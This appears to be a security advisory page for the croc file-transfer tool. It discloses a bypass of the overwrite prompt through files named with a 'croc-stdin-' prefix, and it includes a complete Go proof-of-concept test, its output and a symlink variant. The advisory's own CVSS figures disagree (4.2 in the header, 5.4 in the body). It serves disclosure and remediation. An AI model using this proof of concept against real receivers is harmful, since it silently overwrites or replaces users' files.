GHSA-x89h-7h96-v88f

Suggest an improvement
Source
https://github.com/advisories/GHSA-x89h-7h96-v88f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x89h-7h96-v88f
Aliases
Published
2026-11-09T22:40:12Z
Modified
2026-11-09T22:45:03Z
Severity
  • 4.2 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L CVSS Calculator
Summary
croc: Overwrite-confirmation bypass via a crafted "croc-stdin-" filename on receive
Details

Summary

croc is an end-to-end encrypted peer-to-peer file transfer tool. On the receiving side, the confirmation that normally protects an existing file from being overwritten or resumed is skipped whenever the received file's name starts with croc-stdin-, regardless of whether the incoming transfer is actually a text transfer. A sender can therefore name a file croc-stdin-<existing-name> and silently overwrite, truncate, or replace an existing file of that name in the receiver's working directory - including removing the existing file and substituting a symlink - without the Overwrite? prompt that the standard path requires. The exemption was introduced to keep croc's internal text-transfer artifacts from triggering prompts, but it is keyed on the filename prefix rather than on the transfer type, so any ordinary file transfer can claim the exemption.

Vulnerability Details

Affected code at commit b6f27da9401f2c3647c1adb6b77a46bb8c0923d2 (HEAD, v11.5.1+1):

The receive-side file-readiness loop in src/croc/croc.go decides whether to prompt before overwriting or resuming an existing destination file. The decision is made around line 3413:

isStdinName := strings.HasPrefix(path.Base(fileInfo.Name), "croc-stdin-")
...
if destinationExists && !c.Options.Overwrite && !c.Options.Rename && !isStdinName {
    resumable := fileInfo.Size > 0 && fileInfo.Symlink == "" && recipientFileInfo.Mode().IsRegular()
    overwrite, promptErr := askReceiveOverwrite(c.clientContext(), fileInfo, resumable)
    if promptErr != nil {
        return promptErr
    }
    if !overwrite {
        continue
    }
}

isStdinName is derived purely from the received file's basename. The prompt is suppressed for any such name, even when c.Options.SendingText is false and the transfer is an ordinary file transfer whose name the sender chose.

When the prompt is skipped and the transfer declares fileInfo.Size == 0 or a symlink (fileInfo.Symlink != ""), the loop calls createEmptyFileAndFinish() (src/croc/croc.go:3245), which - before creating the new entry - removes any existing file at the destination:

if fileInfo.Symlink != "" {
    if err = validateReceiveSymlinkTarget(fileInfo.FolderRemote, fileInfo.Symlink); err != nil {
        return
    }
    log.Debug("creating symlink")
    // remove symlink if it exists
    if _, errExists := root.Lstat(pathToFile); errExists == nil {
        if err = root.Remove(pathToFile); err != nil {
            return err
        }
    }
    err = root.Symlink(fileInfo.Symlink, pathToFile)
    ...
}

For a normal (non-croc-stdin-) name, the overwrite prompt runs first, so the remove/replace step only happens with the user's explicit y. For a croc-stdin- name the entire prompt is bypassed: an existing croc-stdin-* file is deleted and replaced with the attacker's symlink (or, for Size == 0, truncated to an empty file) with no confirmation.

For a non-empty regular-file transfer with a croc-stdin- name, the same missing prompt lets the receive path proceed through recipientInitializeFile() (src/croc/croc.go:3109; the os.O_RDWR open is at 3136-3138): the existing file is opened O_RDWR (no O_EXCL), truncated to the sender-declared size when the sizes differ, and the sender's chunks are written at the declared offsets - a silent overwrite of the existing file's content.

Why the check is missing: the exemption was added deliberately so that croc's own croc-stdin-* text artifacts (created by os.CreateTemp(".", "croc-stdin-") for croc send --text / piped stdin) do not trigger an overwrite question every time. History: commit b687778d "bug fix: doesn't ask overwrite text Fixes #384" (2021-04-29) introduced the prefix-based skip, keyed on the filename and not on the transfer's SendingText flag. The branch that handles Size == 0 || Symlink != "" via createEmptyFileAndFinish() predates that (6386e4a8, 2019) and at the time ran unconditionally for every received name; the refactor 615af377 "fix: gate overwrites and receive hash algorithms" (2026-08-29, first released in v11.3.6) moved it below the overwrite-prompt gate, so after v11.3.6 the empty-file/symlink replacement reaches the remove-and-replace step without user confirmation only through the croc-stdin- exemption. The refactor extracted the prefix test into isStdinName and kept it filename-only, dropping the explicit !c.Options.SendingText conjunct that the pre-refactor prompt conditions still carried (615af377~1); the original intent was to suppress the prompt only for transfers actually marked as text. Because the exemption is keyed on a filename prefix the sender fully controls, any peer a user receives from can claim it.

The same prefix exemption also suppresses the --rename side of the decision (if destinationExists && !isStdinName && c.Options.Rename), so --rename receivers silently keep the attacker-chosen name and overwrite too.

This is distinct from the previously reported croc-marked-files.txt arbitrary file deletion (oss-sec 2026/Q3 #497, fixed in 11.0.3 by commit c0d51f0, which removed the on-disk cleanup list). That defect reached deletion through RemoveMarkedFiles(); this one reaches silent overwrite/replacement through the filename-keyed prompt exemption in the receive loop, which the 11.0.3 fix did not touch and which remains live at HEAD.

Impact

An attacker who can send a file to a victim (croc's sender-is-untrusted model; the receiver accepts a transfer from them) can silently overwrite, truncate, or delete-and-replace an existing croc-stdin-* file in the receiver's working directory without the confirmation every other received name triggers. The attack needs the colliding file to already exist with an exact name the sender can predict; receiver-side text artifacts get unpredictable os.CreateTemp-style suffixes, so the practical target is a name the attacker knows (e.g. a file the user deliberately kept, or a name pattern from an earlier transfer the same peer sent). With the noisy prompt gone, the substitution is invisible to the user. Severity is bounded because the vulnerable names must start with the croc-stdin- prefix (dotfiles such as .bashrc cannot be named this way), so the attack cannot reach outside that namespace.

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L - base score 5.4 (Medium).

  • Attack Vector (AV): Network - the sender is a remote peer; no local access needed.
  • Attack Complexity (AC): Low - a crafted basename and a normal file transfer; no special conditions.
  • Privileges Required (PR): None - the sender has no account on the receiver.
  • User Interaction (UI): Required - the victim must run croc receive and accept the transfer.
  • Scope (S): Unchanged - the vulnerable component is the croc receiver itself.
  • Confidentiality (C): None - no read primitive; planted symlink targets are confined to the receive directory.
  • Integrity (I): Low - the modification is limited to files whose names carry the croc-stdin- prefix, and it requires an exact-name collision with a pre-existing file; per CVSS 3.1, "can modify only certain files" is I:L - dotfiles such as .bashrc are unreachable.
  • Availability (A): Low - the truncate-to-empty and remove-and-replace branches leave the previous file unavailable or destroyed. CWE-693 (Protection Mechanism Failure) is the root-cause classification: the overwrite protection mechanism is bypassed by a sender-controlled filename; CWE-73 (External Control of File Name or Path) is the companion classification and is the GHSA-selectable one (CWE-693 is not in GitHub's selectable set), while CWE-22 (path traversal) is not accurate here because writes stay confined to the receive root. Alternative reading: if the bounded namespace is scored as full integrity within reach - total content replacement of every colliding croc-stdin-* file - Integrity: High yields CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L = 7.1 (High).

Reproduction Steps

Prerequisite: a Go toolchain satisfying go.mod (go 1.27) and a checkout of croc at commit b6f27da9401f2c3647c1adb6b77a46bb8c0923d2. The repro is a self-contained Go test that reuses the project's own in-process loopback test relay - the same harness as TestCrocLocal in src/croc/croc_test.go - so it requires no network, no third party, and no separately installed binary; it drives the exact production receive path (NewCtx + Receive -> receive-ready loop -> the gate at src/croc/croc.go:3413).

  1. Save the following as src/croc/repro_overwrite_bypass_test.go in the checkout:
package croc

import (
	"context"
	"fmt"
	"net"
	"os"
	"path/filepath"
	"testing"
	"time"

	log "github.com/schollz/croc/v11/src/logger"
)

// Repro: overwrite-confirmation bypass via a crafted "croc-stdin-" filename on receive.
func TestOverwriteConfirmationBypass(t *testing.T) {
	log.SetLevel("warn")
	localPorts := freeConsecutiveTestPorts(t, 2)
	localAddress := net.JoinHostPort("127.0.0.1", localPorts[0])

	victim := t.TempDir()
	attacker := t.TempDir()
	mustWrite := func(path, content string) {
		t.Helper()
		if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
			t.Fatal(err)
		}
	}
	attackerStdin := filepath.Join(attacker, "croc-stdin-notes.txt")
	attackerCtrl := filepath.Join(attacker, "notes.txt")
	mustWrite(attackerStdin, "ATTACKER-REPLACEMENT\n")
	mustWrite(attackerCtrl, "ATTACKER-CONTROL\n")
	victimStdin := filepath.Join(victim, "croc-stdin-notes.txt")
	victimCtrl := filepath.Join(victim, "notes.txt")
	mustWrite(victimStdin, "ORIGINAL-CONTENT\n")
	mustWrite(victimCtrl, "ORIGINAL-CONTROL\n")

	// Receiver writes into its working directory (like `croc <code>` run in a folder).
	oldWD, err := os.Getwd()
	if err != nil {
		t.Fatal(err)
	}
	if err := os.Chdir(victim); err != nil {
		t.Fatal(err)
	}
	defer func() { _ = os.Chdir(oldWD) }()

	sender, err := NewCtx(context.Background(), Options{
		IsSender:      true,
		SharedSecret:  "8123-testingthecroc",
		RelayAddress:  localAddress,
		RelayPorts:    append([]string(nil), localPorts...),
		RelayPassword: "pass123",
		NoPrompt:      true,
		DisableLocal:  false,
		OnlyLocal:     true,
		Curve:         "ed25519",
	})
	if err != nil {
		t.Fatal(err)
	}
	// Default receive options: Overwrite=false, Rename=false. NoPrompt only
	// auto-accepts the transfer itself; it does NOT suppress the per-file
	// overwrite prompt (the code under test).
	receiver, err := NewCtx(context.Background(), Options{
		IsSender:      false,
		SharedSecret:  "8123-testingthecroc",
		RelayAddress:  localAddress,
		IP:            localAddress,
		RelayPassword: "pass123",
		NoPrompt:      true,
		DisableLocal:  false,
		Curve:         "ed25519",
	})
	if err != nil {
		t.Fatal(err)
	}

	results := make(chan error, 2)
	go func() {
		filesInfo, emptyFolders, total, errGet := GetFilesInfo([]string{attackerStdin, attackerCtrl}, false, false, []string{})
		if errGet != nil {
			results <- errGet
			return
		}
		results <- sender.Send(filesInfo, emptyFolders, total)
	}()
	waitForRelayPorts(t, localPorts)
	go func() { results <- receiver.Receive() }()
	for i := 0; i < 2; i++ {
		select {
		case err := <-results:
			if err != nil {
				t.Fatalf("transfer %d failed: %v", i, err)
			}
		case <-time.After(60 * time.Second):
			t.Fatal("transfer timed out")
		}
	}
	time.Sleep(500 * time.Millisecond)

	gotStdin, _ := os.ReadFile(victimStdin)
	gotCtrl, _ := os.ReadFile(victimCtrl)
	fmt.Printf("OBSERVED croc-stdin-notes.txt: %q (no prompt)\n", string(gotStdin))
	fmt.Printf("OBSERVED notes.txt: %q (prompt fired; retained)\n", string(gotCtrl))

	if string(gotStdin) != "ATTACKER-REPLACEMENT\n" {
		t.Errorf("croc-stdin-notes.txt = %q, want %q (silent overwrite did not occur)", string(gotStdin), "ATTACKER-REPLACEMENT\n")
	}
	if string(gotCtrl) != "ORIGINAL-CONTROL\n" {
		t.Errorf("notes.txt = %q, want %q (prompt did not protect the control file)", string(gotCtrl), "ORIGINAL-CONTROL\n")
	}
}
  1. Run it:
go test -count=1 -run TestOverwriteConfirmationBypass -v -timeout 150s ./src/croc/ </dev/null
  1. Test output at pin b6f27da9401f2c3647c1adb6b77a46bb8c0923d2 (2026-09-08):
Resume 'notes.txt' (0.0%)? (y/N)   (use --overwrite to omit) Skipping 'notes.txt'
OBSERVED croc-stdin-notes.txt: "ATTACKER-REPLACEMENT\n" (no prompt)
OBSERVED notes.txt: "ORIGINAL-CONTROL\n" (prompt fired; retained)
--- PASS: TestOverwriteConfirmationBypass (1.04s)
PASS

What the differential shows: the transfer carries two ordinary files (not a text transfer - SendingText is false). One is named croc-stdin-notes.txt and collides with a pre-existing file in the receiver's directory; the other is named notes.txt and collides with another pre-existing file. For notes.txt the code printed the resume/overwrite confirmation (Resume 'notes.txt' (0.0%)? (y/N) (use --overwrite to omit)); with stdin closed (</dev/null, answer EOF) it skipped the file, which keeps its original content (ORIGINAL-CONTROL). For croc-stdin-notes.txt no prompt is printed at all, the loop falls through to recipientInitializeFile (src/croc/croc.go:3109), which opens the existing file O_RDWR (croc.go:3136-3138) and truncates/writes the sender's chunks - the file ends up holding exactly the attacker's content (ATTACKER-REPLACEMENT). The receiver here uses NoPrompt=true (the CLI --yes equivalent), which does not suppress this prompt: askReceiveOverwrite (src/croc/croc.go:3301) runs regardless of NoPrompt; only --overwrite, --rename, or the crafted croc-stdin- prefix suppress it.

Symlink / empty-file variant (v11.3.6 and later): with sender-declared metadata fileInfo.Size == 0 or fileInfo.Symlink != "" for a file named croc-stdin-<name>, the skipped gate hands control to createEmptyFileAndFinish (src/croc/croc.go:3245), which removes any existing file at the destination (root.Remove, no prompt) and then creates an empty file or a symlink to the sender-supplied target. To exercise it, replace the attacker's regular file with an empty file or an in-directory symlink on the sender's side (e.g. ln -s notes.txt src/croc-stdin-notes.txt; note the target is validated by validateReceiveSymlinkTarget, croc.go:892, and must stay inside the receive directory) and re-run the same test; the regular-file case above already demonstrates the identical prompt-skip.

Recommendations

Gate the exemption on the transfer actually being a text transfer, not on the received filename. In src/croc/croc.go the cleanest fix is to require both conditions before suppressing the prompt, e.g.:

isStdinName := strings.HasPrefix(path.Base(fileInfo.Name), "croc-stdin-") && c.Options.SendingText

and make the empty-file/symlink branch (createEmptyFileAndFinish) and the --rename branch honor the same combined condition, so a regular file transfer can never claim the text-transfer exemption. As defense-in-depth, apply the same SendingText gate wherever a received croc-stdin-* name short-circuits a user confirmation, and document that the prefix is reserved for transfers the sender marked as text.

Resources

Database specific
{
    "cwe_ids": [
        "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T22:40:12Z",
    "nvd_published_at": "2026-10-30T17:17:18Z",
    "severity": "MODERATE"
}
References

Affected packages

Go
github.com/schollz/croc/v11

Package

Name
github.com/schollz/croc/v11
View open source insights on deps.dev
Purl
pkg:golang/github.com/schollz/croc/v11

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
11.5.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json"
github.com/schollz/croc/v10

Package

Name
github.com/schollz/croc/v10
View open source insights on deps.dev
Purl
pkg:golang/github.com/schollz/croc/v10

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
10.7.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json"
github.com/schollz/croc/v9

Package

Name
github.com/schollz/croc/v9
View open source insights on deps.dev
Purl
pkg:golang/github.com/schollz/croc/v9

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
9.6.17

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json"
github.com/schollz/croc/v8

Package

Name
github.com/schollz/croc/v8
View open source insights on deps.dev
Purl
pkg:golang/github.com/schollz/croc/v8

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
8.6.12

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json"
github.com/schollz/croc/v6

Package

Name
github.com/schollz/croc/v6
View open source insights on deps.dev
Purl
pkg:golang/github.com/schollz/croc/v6

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
6.4.11

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json"
github.com/schollz/croc

Package

Name
github.com/schollz/croc
View open source insights on deps.dev
Purl
pkg:golang/github.com/schollz/croc

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
3.0.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x89h-7h96-v88f/GHSA-x89h-7h96-v88f.json"